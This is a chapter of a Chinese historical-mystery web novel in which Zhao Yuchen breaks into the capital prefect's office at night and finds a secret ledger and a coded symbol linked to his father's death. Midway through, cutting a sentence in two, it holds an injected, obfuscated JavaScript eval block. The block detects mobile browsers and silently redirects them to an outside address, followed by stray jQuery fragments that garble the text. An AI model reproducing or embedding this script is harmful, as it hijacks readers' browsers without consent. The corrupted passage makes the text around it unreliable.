夜色愈发浓重,京城街巷间一片死寂。偶尔几声犬吠划破夜空,回荡在深巷尽头,惊起瓦舍上的乌鸦扑翅而飞,黑影掠过檐角,在月色下拖出斑驳投影。寒风卷过,夹杂着淡淡湿气,吹得人心口发凉。
赵煜晨立在国舅府门前,身形隐在对街暗处,目光死死凝在那扇朱红色大门上,眉宇微蹙,未动分毫。
府门紧闭,门前灯火通明,四名护卫站成两列,身姿笔挺,甲衣微闪冷光。旁侧角落中,隐约还能看见暗哨的位置。整个府邸气氛紧绷,森严得透不过气。
过去两日,他已暗中窥探许久。白日里看似平静,实则守备比往常更严。夜里巡视从未间断,连平日送菜的小厮进出也需反复盘问。国舅府素来谨慎,但绝非至此地步。况且,近日京城并无官员遇刺或失踪之事传出,宫中亦无异动。若非心中有鬼,何至于如此如临大敌?
赵煜晨眼神微沉,脑海飞快思索。难道就因为陈参将与几名同僚暴毙于密林,此人便这般草木皆兵?还是说,陈参将之死只是冰山一角,国舅府早已察觉有人暗中查探,自知纸包不住火,才会在府中布下如此重防?
思索良久,赵煜晨心想继续在此蹉跎,只会打草惊蛇。他微微屏息,压下心头躁意,转身离去。
国舅府今日的动静,只能说明对方早有准备,未必能寻到突破口。既然正面难以突破,何不试试绕道旁敲侧击?
念及此,他心中浮现另一个方向——京兆府尹府衙。
说到京兆府尹,也很奇怪。
那位府尹在任多年,年年考绩不功不过。以他的资历,早该升迁调任。可这些年,升迁没有,贬职也无。就像是一颗棋子,被人稳稳钉死在棋盘中央。朝堂中传言不一,有人说他深受皇恩,专为平衡各方势力而设;也有人低声议论,他不过是傀儡,手中握着某些见不得光的秘密,既无法上进,也不敢后退半步。
究竟是哪种?是他手握某些秘密,反倒被幕后之人牵制,无法更进一步?还是说这个官职至关重要,背后之人绝不放心换人,只能将他钉在此处?
这些念头盘旋脑海,令他胸口郁结。他加快脚步,穿过两条街巷,绕入一条僻静小道,远处便可看见京兆府衙高悬的匾额。夜风轻拂,府衙门前的灯笼轻轻摇晃,映出昏黄光晕,映着门口巡逻的衙役身影晃动不定。
赵煜晨避开守夜人,绕到角门后,趁着夜色身手敏捷地翻墙而入。落地时轻若无声,身形迅速隐入暗影之中。府衙内静寂无声,偶尔有几声虫鸣,也被冷风吹散。他小心翼翼地在回廊间穿行,循着记忆中那间多年未踏入过的屋舍,脚步未曾停顿。
事情已经过去了这么多年,若是京兆府尹的家中布置更换了的话,他此行恐怕就白来了。
房门未锁,赵煜晨轻声推门而入,却发现屋中布置果然早已更换。但好在陈设格局依旧,那扇柜子并未被挪动。他走到墙角那只旧柜前,蹲下身仔细查看。隐约发现柜脚下方有一处灰尘明显较周围干净许多,显然有人曾在此动过手脚。他点燃事先准备好的火折子,却发现柜底也早已空无一物。
赵煜晨眸色微沉,当年那封信件,恐怕早已被人取走。不过柜底其他部分仍有厚重积灰,信封应当不是主人打扫清理出来走的。那会是谁发现这封密信的呢?
此处线索断绝,他抿唇不语,心中生出烦闷。赵煜晨起身在房中缓步踱着,不肯轻易放弃。
可是书案抽屉一一拉开,翻找其中公文文牍,皆是寻常公务,毫无可疑之处。他不死心,又转向书架,将书卷逐册翻看,除了数本奏疏与律例,余下皆是杂书,无一与父亲案子相关。
窗外寒风猎猎,烛光晃动,映得他面色愈发冷肃。
努力至此,竟是一无所获,他如何甘心?父亲含冤而死,真相未明,怎可轻言放弃?
赵煜晨按下焦躁之意,缓步离开房间,打算趁着夜色在整个府衙内继续搜寻。夜色深沉,院中巡夜的脚步声远远传来又消失在回廊尽头。他轻手轻脚地行走在偏僻角落,每进一间屋子,便细细查看。
在一间偏屋中,他停下脚步。屋内堆放着许多杂物,地面上隐隐可见一道浅浅的拖痕,直通向屋角。他走过去,蹲身细看,发现墙角处有几片沾着灰尘的布料残片,摸在手中质地粗糙,不似府中常用织物。
赵煜晨皱了皱眉,将碎布小心收入怀中。
他继续翻找,在一只半旧木箱底下,摸出一本沾着灰尘的账本。纸张泛黄,字迹已然模糊,他凑近借着微光辨认,上面记载的竟是一些隐秘交易,言辞隐晦,数量庞杂。虽难以立刻全部看懂,但他心中已生出直觉,这账本极有可能与父亲当年的死有关。
将账本收入怀中,他推门离开,沿着回廊来到后院。
后院荒废已久,杂草丛生,正中那口枯井破败不堪,井口覆着一层残破井盖。他上前揭开井盖,俯身望去,一股腐臭气味扑面而来。井底隐约堆着杂物,模样不明。他四下张望,找到一条绳索,将一端系在枯树上,另一端缠绕手腕,小心翼翼地沿绳索下到井底。
脚踏实地,腐烂的木屑与湿泥粘在靴底,发出轻微声响。他抬手拂去面前蛛网,在井底仔细翻找。手指触及到一只冰冷铁盒,上面锈迹斑斑,盖子卡得死紧。费了好大力气才将其打开,里头静静躺着一张泛黄纸张,纸面上的各个线条扭曲盘旋,汇聚成一个奇怪的符号。
这个符号,和他之前在长刀内的图纸上发现的图案风格竟有些相似!
赵煜晨盯着那晦涩难懂的图案,心头微跳,直觉告诉他,这绝非寻常之物。
他将纸张小心折好收入怀中,再次攀上井口,顺手将井盖复上。夜风吹来,带着井底的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195062|165550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腐臭,令人窒息。他深吸一口气,强忍不适,快步回到最初的那间房中,点上灯烛,将账本和纸张并排摆在书案上。
案上烛火跳动,他凝神细看账本上模糊字迹,将能辨认出的数字和字句一一记下,接着再看那张纸,心中缓缓理出一丝头绪。
忽然,他想起几日前秦校尉那位老乡所说的闲言碎语:当年国舅府与京兆府之间,有一笔不为人知的秘密交易,而父亲便是因知晓此事,遭人暗算。
他将这些细节与眼前的线索相结合,脑海中突然闪过一个念头。难道这些符号和账本记录的,是当年那些陷害父亲之人的交易往来?如果是这样,那么父亲的死,很可能与一场巨大的利益纷争有关。
账本中频繁出现的某几个数字组合,与父亲生前留下的一串暗号极为相似。而其他纸张上的符号线条,或许正是一种加密图谱,将金银去向与收受人藏在其中。那个图案,莫非是他们确认彼此身份的关键?
线索逐渐清晰,赵煜晨目光变得凌厉。父亲之死,恐怕早已不是单纯的冤案,而是一桩牵连重重的利益纠葛,甚至可能涉及朝堂权力之争。
时间已过子时,院中已无巡夜脚步。他小心将账本与纸张重新包好,翻墙而出,悄然消失在夜色之中。
回到他在城南暂居的小院,院中冷清无声,墙角的灯笼已熄。他推门而入,点亮桌上蜡烛,将怀中所获一一取出,平摊在桌上。又取来笔墨,将可辨认的内容逐句抄录下来,再在旁边记下注解与推测。
这一夜,他几乎未曾合眼,反复对照那些模糊记录,推演每一个可能。耳边似有父亲低声叮咛之声,回荡在心头,令他眼眶微热。
当初父亲在他很小的年纪便开始教授他朝廷内部的利害关系,可是那个时候的他对朝堂上的事情完全不感兴趣,满心满眼都在如何避过父母的监督多看两本话本、多耍一会儿玩具。父亲说了什么他都充耳不闻,呆愣的样子讨了好几顿打,连母亲都在一旁恨铁不成钢地叹着气。
谁能想到,当初他不在意的从父亲口中出现的每一个人名,都可能是这份记录事关父亲被害真相的账本中的一个关键人物?
天色渐明,桌上的蜡烛快要燃尽,院外传来卖早点的吆喝声。
赵煜晨揉了揉眉心,深吸口气。纸上推演的内容已成雏形,国舅府、京兆府尹与朝中众多官员之间的牵连逐渐清晰。此案牵扯人数众多,涉及之广,绝非他一人之力可敌。
但他无退路。父亲含冤,血债未偿,他定要一步步追查到底。即便刀山火海,他也绝不后退半步。
赵煜晨放下笔,换好另一根事先准备好的蜡烛。端坐片刻,目光清明而坚定。
案情虽迷雾重重,但道路已然在脚下。他知道,下一步,便是国舅府与其背后势力。
而此去,生死未卜。